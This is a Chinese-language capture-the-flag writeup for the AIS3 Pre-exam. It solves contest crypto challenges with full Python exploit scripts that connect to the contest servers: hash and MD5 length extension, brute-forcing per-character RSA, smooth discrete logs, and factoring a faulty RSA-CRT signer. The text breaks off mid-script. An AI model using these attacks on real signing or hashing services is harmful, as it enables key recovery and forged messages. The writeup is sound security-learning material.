# AIS3 Pre-exam and MyFirstCTF Writeup
## Ranking
- Myfirst第2名
- Pre-exam第13名
這應該算是我比較正式的CTF處女賽,整個比我預期的好太多了
## Welcome
有人說welcome也要寫Writeup,所以就寫了,就看到flag傳上去。
AIS3{Welc0me_to_AIS3_PreExam_2o24!}
## Misc
### Quantum Nim Heist
這題聽出題者講不用看code,而且那麼多人解,我想應該不太像是用我這種做法。這個題目是給我一個後手必勝的Nim Game,贏了就給我flag。玩的時候會發現它可以儲存遊戲,會給我遊戲資訊和遊戲資訊的hash。以下是hash內容:
```python!
import secrets
def splitmix64(x: int) -> int:
U64_MASK = 0xFFFFFFFFFFFFFFFF
x = (x + 0x9E3779B97F4A7C15) & U64_MASK
x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK
x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK
return x ^ (x >> 31)
class Hash:
def __init__(self):
self.secret = secrets.randbits(64)
def pad(self, message: bytes) -> bytes:
c = -len(message) % 8
return message + b'\x00' * c
def digest(self, message: bytes) -> bytes:
message = self.pad(message)
blocks = [int.from_bytes(message[i:i+8], 'big')
for i in range(0, len(message), 8)]
def f(a: int, b: int) -> int:
for i in range(16):
a, b = b, a ^ splitmix64(b)
return b
state = self.secret
for block in blocks:
state = f(state, block)
return state.to_bytes(8, 'big')
def hexdigest(self, message: bytes) -> str:
return self.digest(message).hex()
```
會發現可以lea,因為他雖然secret隨機,但我可以用得到的state送進f做計算。他一個block的大小是8 bytes,所以要把遊戲資訊玩到8個bytes比較好處理,我選擇了11,16,27,然後再後面填一個1變成先手必勝,以下是exploit:
```python!
import myhash
from Crypto.Util.number import *
hash = myhash.Hash()
def pad(message: bytes) -> bytes:
c = -len(message) % 8
return message + b'\x00' * c
def splitmix64(x: int) -> int:
U64_MASK = 0xFFFFFFFFFFFFFFFF
x = (x + 0x9E3779B97F4A7C15) & U64_MASK
x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK
x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK
return x ^ (x >> 31)
def f(a: int, b: int) -> int:
for i in range(16):
a, b = b, a ^ splitmix64(b)
return b
payload = b"11,16,27,1"
payload = pad(payload)
c1 = bytes_to_long(payload[:8])
c2 = bytes_to_long(payload[8:])
#11,16,27:464e639efe040db4
state = bytes_to_long(bytes.fromhex("464e639efe040db4"))
print("11,16,27,1:" + long_to_bytes(f(state, c2)).hex())
# 11,16,27,1:d2e759bf6840a6ca
```
然後剩下就是把遊戲玩贏,一直製造xor為0的狀態就好,最後得到flag:`AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}`
## Crypto
### BabyRSA
這題就是把flag的每個字元進去rsa加密,然後給密文和公鑰。因為字元在0到0xff之間,所以直接暴力窮舉就好。
```python
e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649)
encs = [59582983136368434856816799733313446746433796034384724221174424464969737874802116129348607979328098841766335449896610931770063087921739964156335144291643702667891887833963756948394265219864837961748202920096128332905237576243643095664147826020400199347355043162641743846198725931842313977049712473768688780204, 95359547394031742813518330673269556403528254059894407470006786975603938062435320319282644182444182438612748874603359501010449113346386193598111715879103479311697744375488228536365895249959983701008182395138745363343749821348881488616739650767615867269542213617639437927373484681942750228038458670913761461906, 46329325300279098651694178842591774415260876326218182283454895682597312145324055490326488805186682301528705330448500034219715636964856131530973835780285303243952273742119154142469279746360304190118988650200422700136950019141246372634642054318988506247030406078971388938494583721698317950574261574174233878465, 99372516099607712778908802720080113062724120782160998443385643772511391370661101893707293382044546993124605549696368316348952556779713164710839853078160450782104255053788389238478472574549113909833434906535103012424826026640284958298083646000213492094244631381094489147645893989473799375006911204994971262513, 76560888147807476608165550435978536197327212318831455594999273843368454289391559274947371380742007729563677938535717707232627424457601159959128489070947748904688640279908482263289424669338790488996485849079890881530740377280113682547250364463080771156212510360194563192123664613212111565777733487081937952558, 12319813533472769541026063795801870849236715810997656653501875874806446093919930377755747066386074676697058702735112064576219731845584108035461434499628574742399407498867908576045220515065246483998134315307132901329833371485817530138131352593805641664023978795298886913968639954517583992930243922021434381738, 96951009388162450018398074248238612521098089563081241061172635732154749686698900516806076917644927142046116130006730586770841058020946718314769404592479949673385387831784647829787593435525861689652400487918043078535385527278516028607916478700007746817161408140805937414915909575928550204945457887011906141614, 1665805297521640119669919457094144711238099413231800824465470812913880572669116305626521524153911904267238129531937952423409222225023467794927666422627082314285814656075569814644205638687105792760533211008966815918943917251927254624389871965679206262024216136163262412286874416732008465838711695063592124435, 38031617734525236754862788270684927634041250565347090806313746312968815507316236887544784308484734926981400017478758364119367924220519253824976349577671434162884831759762106665665138444165001645856871491952279748415831766579735400499998753646766301606966507940299051979075677572064596983713461662607114250263, 64855027109789931203406858899259092299626327163376469398846102754805420506427252072315662287801006608894162707199492268892939811482863649987034183371607590158980649349849687594118554925649076468007225363531072941142253057862686631842080812159597499430107963982315266135241847383726503265496996481889717246182, 38285633551521777138710771085033430239170710707266775875598456653892976969437761922968925746226073683095654278272586779539831402373205526909772633370025848937463033570747721110932401276480992827694564074802181306738438015295515798739406061377284368603543443076476369810597345436481251791260803352288977423573, 90968383857681404242927909477464252602387471219945950453665598772039832078487309149670692874283215437984574695320981806360379096212936326954111131608499584545969103096096842380877613033764006459107764277330135816044808210474597200172673683909558627722941503504083244424751773797618360290613996970960151563724, 95457298055868694391877219138576497445115151186056513418820503159496876268497080831408725541436969299827723238663173668798694515208450035233192338795425824459299174728295661096981248839235055855929604893139239340445385259232905864515397406993189217322907168121716905101208450279521267289056195400878302077398, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 34661612116812273325510815885632987773878634626625747042958636362152583931260969561869719786378247664638641161656878412129162010084766438156247296031040184022246208883138926132649114007757242227131459285251878118564710945280013332131793855359773876332415772442620349609897435915019325055421286197078708187352, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 67602482196856820166971428403758405739455475263382367621161896414339370625380754447863410276767241406699969322350803814348655243066328706656427717483623041308690996376549835317954286006923639192767262817817435759143930376297271756237829141630002480289781731985465743331200468015517012225741723423203374827341, 44262354102194743351911268289256770008339497245528544280709170541530088518398751380655719846628700171065092804544687718896291531970838072744874705570156704628202662829757806782131182294252555844059856971743311355891113953747318316062265029166813195656690004051327523203179399349334322871113218009692321746302, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 17525442355443739006798161136945234538289135293732159010469949341666347513585837371870704355037863634098163883611042121878362686860890223724238562583526550649340086051319234134907577624853632886715848962127706255769976443912657070070366400669740596805962173530384420842637554803041466900119050709458062167550, 44014841046589017601891983719958867760419600204352901036629548332837496204051161377933425345536644034794916246706885620488552830053604204333015893225255398323167834260921720336325397193593333461140140475610284003097590899522403244883330800589948361851693870192559674072749868797979125684663605722325053340834, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 32463563387229396502994321924065961632284043136468238906625180045736135155253223928723914405824284085442712712337348213915399745045346853697650399659292339726614512642835897683094877670342609027803404027945312939777902664125228095034970967750466928999176126534504349068649205422848461193336320361026425455874, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 101403644290884991310189664359755656780537902543354415482434580937410695343294757120985680350019917171639284125327989098680673553323894980248499865788837636944758311200094760909373728675822272584823764964753326309765279310435693879623302965536053211433064599526550676915084290753201910772032395483945950367273, 24333051506853181360030701569319128673885779416125109480872653360245763695810807795571148802002658160356587851857338891650119080260776136984074861612952869696123011417276568821410663401888348228549042676235853145756762295087473309782699704381451505573652641489540319626561348999020895690560418530256831740666, 20222920908058605457111970272150612273139460769260447235596498596781683961010128426184024637706564546340327246191020540223566835757304493325371606037680402571948650998523099138137441154209281794538860160477031997660506452095283151142470607354579609545040759974018408429796935802188551530478970289514572978617, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 32184464000490155748453165982143565340499464338829080683417468389784993809512708479494827939476307049612151190695993375700147700844413744001417893095868641387694266647992101758785355055413538046252854525860440227182911367045556141460084455472907278113962890024281663648508886642376786194323597791020547317088, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 44014841046589017601891983719958867760419600204352901036629548332837496204051161377933425345536644034794916246706885620488552830053604204333015893225255398323167834260921720336325397193593333461140140475610284003097590899522403244883330800589948361851693870192559674072749868797979125684663605722325053340834, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 63634815088527144255090148113948593793648445499224983027630191877159813968754095341812467946868079279626991968747689424489021633678743106301884613005477044402324870044751927862596590687251830485165119422247449722579599610918927243419033509419967393677988976255284611384351411782311379786356079256916831362626, 9304987377904341606117201715658113065608581640101320211543462955469900806281721467187032121463132314663326494170970278379001634044806680348131292368949519512445580695938064509920503814133961673755470696223243390646274004621955993274826096679460577701554059204349111764901921932386091658007427259226167178177, 58828925452729811932976588739787965824652220690551333824296205824127538696058603108169405357158211350616510470513672533759883740745736322687898383422522330915631984810878357007178714597068087752425823728826608887027664209314455243118645386520598961325656254330576959063500755210398248129074822706590225088700, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 32184464000490155748453165982143565340499464338829080683417468389784993809512708479494827939476307049612151190695993375700147700844413744001417893095868641387694266647992101758785355055413538046252854525860440227182911367045556141460084455472907278113962890024281663648508886642376786194323597791020547317088, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 38031617734525236754862788270684927634041250565347090806313746312968815507316236887544784308484734926981400017478758364119367924220519253824976349577671434162884831759762106665665138444165001645856871491952279748415831766579735400499998753646766301606966507940299051979075677572064596983713461662607114250263, 42674155454878392842592499423860033988264245394501952163129442865919203299671995689679354090226093903765768139477289952989042795959374257614752953563152551974557414325407858919156902405925850703390450181868760242922958259454422450849566085988801215229822701373233313619020572460459663094142218119144686335871, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 75918055185950026238164530295762591705002247585433355113315303142207464051952569831664550604622541858093495062851840811257603174544255151597115446984458237694842739071530518936317606199598953518976167711716762043806043449827887577909963803673508838826582484003687958862302989732473748700329398645880243054148, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 42674155454878392842592499423860033988264245394501952163129442865919203299671995689679354090226093903765768139477289952989042795959374257614752953563152551974557414325407858919156902405925850703390450181868760242922958259454422450849566085988801215229822701373233313619020572460459663094142218119144686335871, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 47953002091054578020381201294163023730809574731463958773592358719441988187452655748118051277286650853337305718192021972814357369747332979634917684999259838316305009239963225119133204824897098152777119627043881500966537112886938182847527574241215915396651397126350467492479189194162628876529519538265140143596, 101403644290884991310189664359755656780537902543354415482434580937410695343294757120985680350019917171639284125327989098680673553323894980248499865788837636944758311200094760909373728675822272584823764964753326309765279310435693879623302965536053211433064599526550676915084290753201910772032395483945950367273, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 107340541989905757204370662416845552037146078905222935505789033122562501577684655501092154588544305605078885306044047839464564901594898750722560559313996616820973286189602827331851868376927628179028545097753144658073207307785378721899783095713473789007231709234504050418717400729711972350669632384570468096830, 43967923748936484351732805873555964174712775706889811180819474140612599586161884530658035908721232399384729457223641995556425707839305124083600738135036620220298476686325110132022730675370888898063942501477522619906479683016701151321856269078215479158146009655223314957908787521092587379267241203076718674092, 24333051506853181360030701569319128673885779416125109480872653360245763695810807795571148802002658160356587851857338891650119080260776136984074861612952869696123011417276568821410663401888348228549042676235853145756762295087473309782699704381451505573652641489540319626561348999020895690560418530256831740666, 20472445493228441292721090614657967895462252302228260568752427996680563809601852655319833688134475798137834395223726607334321531235376774219216055134601030184130917876549113091114144486261794932716233808194664233936783735663266743029212488020840969559603523111887524998658108503660068448898570323437482810017, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 64855027109789931203406858899259092299626327163376469398846102754805420506427252072315662287801006608894162707199492268892939811482863649987034183371607590158980649349849687594118554925649076468007225363531072941142253057862686631842080812159597499430107963982315266135241847383726503265496996481889717246182, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 75918055185950026238164530295762591705002247585433355113315303142207464051952569831664550604622541858093495062851840811257603174544255151597115446984458237694842739071530518936317606199598953518976167711716762043806043449827887577909963803673508838826582484003687958862302989732473748700329398645880243054148, 12708160939460449797746334640370189741594393156198590130563300705594742285274155378452384449752817944962371880018673966875751948953034846634284138305820292201281595210265881917297911731564408181887226462606892964361033320116765426523499831287478314065882300932476595216136350756971622192468975464823677154324, 52745488365658861485519010696623986434656675831322149607647058389953842185045922621964255927212518970223978973817292179059730382537814695353016058702226289640834171560498112170760826276332972100423555174686162215383841925656596984188536350046664199627214379076416024495451320834231863438007383528385204646269, 8855798603366167912634233401398286651752671525801140525178611090639905433230380535711326462952071294452556819384200831430822862220907470038589552641363759764881881084119960616686113091264272665290715332905431138686504873774368450566561688814993821800992967990682116846800657243011069696481920893909247794983, 96951009388162450018398074248238612521098089563081241061172635732154749686698900516806076917644927142046116130006730586770841058020946718314769404592479949673385387831784647829787593435525861689652400487918043078535385527278516028607916478700007746817161408140805937414915909575928550204945457887011906141614, 3085377115073481737487767519304315808353144937670566256348398664810936964565637157736537945459712875615504238408907602974507381828272609303797146395233485026377776965939508974096385939172942695211339651597248692728550782246178293579153110379844451779466255357619524290412118137515779354431956948078394927940, 48345447683174081443502925378502329908064423944850311779861406407783604557812792515281621715817536127803162311234459315836524837064977025182379655213338205159741266326939713833052921255157742860610743189155260503439836583887313584730345974553768985184119012533854386867355018502198395672167297716386558437643, 2943509185067047938273565758747957807917637430462018374124947856251091022696853505230975399503014099411245162812979057344198094444949853114144790397928000334361276864689352349519363636219566973775714458213611238774130167222835759501223813455853370320854862131109567941072112035263351158877256955712543549605, 76560888147807476608165550435978536197327212318831455594999273843368454289391559274947371380742007729563677938535717707232627424457601159959128489070947748904688640279908482263289424669338790488996485849079890881530740377280113682547250364463080771156212510360194563192123664613212111565777733487081937952558]
flag = b""
for enc in encs:
for i in range(0xff):
if pow(i, e, n) == enc % n:
flag += bytes([i])
break
print(flag)
#AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
```
### zkp
這題是離散對數問題,他給了一個完全沒用的驗證函式不用理他,發現p-1(也就是他的階)是光滑的,所以離散對數問題可以分解成小質數的離散對數問題,再用crt把他映射回來,然而sage有提供很簡單的工具可以用不用手刻。
```python
from sage.all import *
from Crypto.Util.number import *
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
g = 5
y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341
F = GF(p)
flag = discrete_log(F(y), F(g))
print(long_to_bytes(flag))
#AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
```
### easyRSA
```python!
def verify(pk, message: bytes, signature: bytes):
e, n = pk
data = bytes_to_long(sha256(message).digest())
return data == pow(bytes_to_long(signature), e, n)
bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)
```
這題可以給他任意密文,然後他會解密傳回來(也就是用私鑰簽名),但是他在用CRT的時候xor了一個數字,那這個時候如果兩個mQ相等,signature相減就會是q的倍數,而我們可以知道兩個mQ之間最多只會差一個byte,所以直接暴力窮舉看看他和n的最大公因數就好。以下是exploit:
```python!
from pwn import *
from base64 import *
from Crypto.Util.number import *
from hashlib import sha256
r = remote("chals1.ais3.org", 7001)
def sig(message: bytes):
r.sendlineafter(b": ", b"2")
r.sendlineafter(b": ", b64encode(message))
r.recvuntil(b": ")
return b64decode(r.recvline().decode().strip("b\n'"))
r.sendlineafter(b": ", b"1")
r.recvuntil(b"= ")
e, n = tuple(map(int, r.recvline().decode().strip("()\n").split(", ")))
message = b64encode(b"Give me the flag!")
plain = b"evil_text"
sig1 = bytes_to_long(sig(plain))
sig2 = bytes_to_long(sig(plain))
deltas = sig1 - sig2
q = 1
for i in range(-256, 256):
if GCD(deltas + i, n) != 1:
q = GCD(deltas + i, n)
p = n // q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
ans = pow(bytes_to_long(sha256(message).digest()), d, n)
ans = b64encode(long_to_bytes(ans))
r.sendlineafter(b": ", b"3")
r.sendlineafter(b": ", ans)
r.interactive()
#AIS3{IJustWantItFasterQAQ}
```
### zkp-revenge
這題和zkp不同的是他的質數是strong prime,所以離散對數問題是困難的。然後他給了以下這個zkp_protocol。
```python!
def zkp_protocol(p, g, sk):
# y = pow(g, sk, p)
r = random.randrange(1 << 1000)
a = pow(g, r, p)
print(f'a = {a}')
print('Give me the challenge')
try:
c = int(input('c = '))
if (p - (1<<600)) >= c >= (1 << 600):
w = (c * sk + r) % (p-1)
print(f'w = {w}')
# you can verify I know the flag with
# g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)
else:
print("Sorry, but your 'c' is too small.")
print("My 'x' is already too small, so I cannot let you choose such a small number!")
raise ValueError()
except:
print('Invalid input.')
```
然後他的flag長度是60,給我100次的嘗試機會。首先,他會限制c的長度,但是這種限制是沒有意義的,因為如果 $sk=2n+1$ ,那麼當 $c=(\frac{p-1}{2}+c')$ 時,$w=((\frac{p-1}{2}+c')\cdot(2n+1)+r)=(\frac{p-1}{2}+c'\cdot sk+r)(mod\ (p-1))$,$(w-\frac{p-1}{2})(mod\ (p-1))=c'\cdot sk+r$,也就是說現在我們可以做到取任何的c了(至於為什麼知道flag是奇數就試了就知道,如果是偶數也是差不多的作法)。那麼 $c\cdot sk+r$ 在mod p-1之前和之後如果要是相同的值的話,那麼要把 $c\cdot sk$ 限定在1<<1024以內,而 $r$ 又有1000bit,所以每次我們只能知道 $c\cdot sk$ 最高的24bits(也就是把flag乘上1<<544,而且有進位問題,保守估計16個bits)。但是我們發現,只要我們把還沒有求出來的位數題到1024位,然後把已知的更高位移項,就能知道低位了,實際式子如下:
$(w-k\cdot 2^{480-8R}y)(mod\ (p-1))=k\cdot x+r,\ k=2^{544+8R}$,$R$是知道的bytes數量,$x$是我們還不知道的密文部分,以下是實作:
```python!
from pwn import *
from Crypto.Util.number import *
r = remote("chals1.ais3.org", 7004)
r.sendlineafter(b": ", b"1")
r.recvuntil(b"= ")
p = int(r.recvline().decode().strip())
r.recvuntil(b"= ")
g = int(r.recvline().decode().strip())
r.recvuntil(b"= ")
y = int(r.recvline().decode().strip())
def high(k: int):
c = ((p - 1) // 2 + k) % (p - 1)
r.sendlineafter(b": ", b"2")
r.sendlineafter(b"c = ", str(c).encode())
r.recvuntil(b"= ")
w = int(r.recvline().decode().strip())
return (w - (p - 1) // 2) % (p - 1)
flag = b""
# flag += long_to_bytes(high(1<<544))[:2]
for i in range(30):
k = 1 << (544 + 8 * len(flag))
flag += long_to_bytes((high(k) - k * (1 << (480 - 8 * len(flag))) * bytes_to_long(flag)) % p)[:2]
print(flag)
#AIS3{Wow!YouAreAMathMaster.}
```
最後講一個我覺得理論可行但我做不出來的做法,本來是想可不可以用MT19937,畢竟有randrange(),而且如果 $c=\frac{p-1}{2}$的話而且flag是奇數,那$r=(w-\frac{p-1}{2})(mod\ (p-1))$,也就是說我可以一直知道randrange(1<<1000)的值。但是麻煩的是randbelow(1<<1000)會去getrandbits(1001),然後求出來如果大於等於1<<1000的話就重做一次,這樣會讓他變成不是單純的線性方程。我後來有查到BalsnCTF2019有一題unpredictable,也是類似的東西,然後他好像是先去看看怎麼接才合理,dfs剪枝之後再去解方程式,不過他太長了我還沒看懂。
### md5_encryption
```python!
#!/bin/python3
def block_cipher(key, last_block, pt):
key.update(last_block)
ct = bytes_xor( key.digest(), pt )
return ct
def encrypt(sk, message):
message = pad(message)
key = md5()
last_block, cipher_text = sk, b""
for i in range(0, len(message), 16):
pt = message[i:i+16]
cipher_text += block_cipher(key, last_block, pt)
last_block = pt
return cipher_text
data = input("Give me your data (in base64 encoded):")
data = base64.b64decode(data.encode())
test = time.time()
data = f"TimeStamp: {test} || User:CTF_Player || data: ".encode() + data + f" || Flag: {flag}".encode()
print(base64.b64encode(encrypt(sk, data)))
```
我稍微把程式碼做了簡化,他就是用md5做xor加密,每一次就是把前一個block塞進md5()裡面,然後和這一個block做xor,最前面有一個未知的block。我可以送data進去,他會把他加入字串後加密給我。md5.update()的作用是把字串接在之前的字串上面在進行hash,然後他會去進行padding,如果%64>=56就要padding到新的一個64bytes(因為有9個bytes要存結尾和長度的資訊),這樣的話麻煩的點就是他一定會做padding,所以沒辦法直接拿到state。所以我的方法是去偽造一個padding,讓他padding完的hash等同於他一直hash到我偽造的padding結束那格。數字上來講的話就是我前64格不理他,後面填一條如果前面是80格的padding(因為初始的有16格),這樣的話到了[112-16:112]那格的hash(沒有做padding就只是單純地拿到state)就會等於[48:64]那格前墜經過padding的hash,也就是他給我的,剩下就是xor和md5的一些實作,md5的code是我去github上隨便找的,以下是exploit:
```python!
#https://github.com/Utkarsh87/md5-hashing/tree/master
import math
# This list maintains the amount by which to rotate the buffers during processing stage
rotate_by = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]
# This list maintains the additive constant to be added in each processing step.
constants = [int(abs(math.sin(i+1)) * 4294967296) & 0xFFFFFFFF for i in range(64)]
# STEP 1: append padding bits s.t. the length is congruent to 448 modulo 512
# which is equivalent to saying 56 modulo 64.
# padding before adding the length of the original message is conventionally done as:
# pad a one followed by zeros to become congruent to 448 modulo 512(or 56 modulo 64).
def pad(msg, length):
msg_len_in_bits = (8*len(msg)) & 0xffffffffffffffff
msg.append(0x80)
while len(msg)%64 != 56:
msg.append(0)
# STEP 2: append a 64-bit version of the length of the length of the original message
# in the unlikely event that the length of the message is greater than 2^64,
# only the lower order 64 bits of the length are used.
# sys.byteorder -> 'little'
if length != 0:
msg_len_in_bits = length * 8
msg += msg_len_in_bits.to_bytes(8, byteorder='little') # little endian convention
# to_bytes(8...) will return the lower order 64 bits(8 bytes) of the length.
return msg
# STEP 3: initialise message digest buffer.
# MD buffer is 4 words A, B, C and D each of 32-bits.
init_MDBuffer = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
# UTILITY/HELPER FUNCTION:
def leftRotate(x, amount):
x &= 0xFFFFFFFF
return (x << amount | x >> (32-amount)) & 0xFFFFFFFF
# STEP 4: process the message in 16-word blocks
# Message block stored in buffers is processed in the follg general manner:
# A = B + rotate left by some amount<-(A + func(B, C, D) + additive constant + 1 of the 16 32-bit(4 byte) blocks converted to int form)
def processMessage(msg):
init_temp = init_MDBuffer[:] # create copy of the buffer init constants to preserve them for when message has multiple 512-bit blocks
# message length is a multiple of 512bits, but the processing is to be done separately for every 512-bit block.
for offset in range(0, len(msg), 64):
A, B, C, D = init_temp # have to initialise MD Buffer for every block
block = msg[offset : offset+64] # create block to be processed
# msg is processed as chunks of 16-words, hence, 16 such 32-bit chunks
for i in range(64): # 1 pass through the loop processes some 32 bits out of the 512-bit block.
if i < 16:
# Round 1
func = lambda b, c, d: (b & c) | (~b & d)
# if b is true then ans is c, else d.
index_func = lambda i: i
elif i >= 16 and i < 32:
# Round 2
func = lambda b, c, d: (d & b) | (~d & c)
# if d is true then ans is b, else c.
index_func = lambda i: (5*i + 1)%16
elif i >= 32 and i < 48:
# Round 3
func = lambda b, c, d: b ^ c ^ d
# Parity of b, c, d
index_func = lambda i: (3*i + 5)%16
elif i >= 48 and i < 64:
# Round 4
func = lambda b, c, d: c ^ (b | ~d)
index_func = lambda i: (7*i)%16
F = func(B, C, D) # operate on MD Buffers B, C, D
G = index_func(i) # select one of the 32-bit words from the 512-bit block of the original message to operate on.
to_rotate = A + F + constants[i] + int.from_bytes(block[4*G : 4*G + 4], byteorder='little')
newB = (B + leftRotate(to_rotate, rotate_by[i])) & 0xFFFFFFFF
A, B, C, D = D, newB, B, C
# rotate the contents of the 4 MD buffers by one every pass through the loop
# Add the final output of the above stage to initial buffer states
for i, val in enumerate([A, B, C, D]):
init_temp[i] += val
init_temp[i] &= 0xFFFFFFFF
# The init_temp list now holds the MD(in the form of the 4 buffers A, B, C, D) of the 512-bit block of the message fed.
# The same process is to be performed for every 512-bit block to get the final MD(message digest).
# Construct the final message from the final states of the MD Buffers
return sum(buffer_content<<(32*i) for i, buffer_content in enumerate(init_temp))
def MD_to_hex(digest):
# takes MD from the processing stage, change its endian-ness and return it as 128-bit hex hash
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))
def md5(msg, length = 0):
msg = bytearray(msg)
# msg = bytearray(msg, 'ascii') # create a copy of the original message in form of a sequence of integers [0, 256)
msg = pad(msg, length)
processed_msg = processMessage(msg)
# processed_msg contains the integer value of the hash
message_hash = MD_to_hex(processed_msg)
return bytes.fromhex(message_hash)
def produce(x: bytes):
tmp = int.from_bytes(x, "little")
ret = []
for i in range(4):
ret.append(tmp & 0xFFFFFFFF)
tmp >>= 32
return ret
def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
from pwn import remote
import hashlib
import time
from base64 import *
test = time.time()
payload = b"aaaaaa" + b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaa'
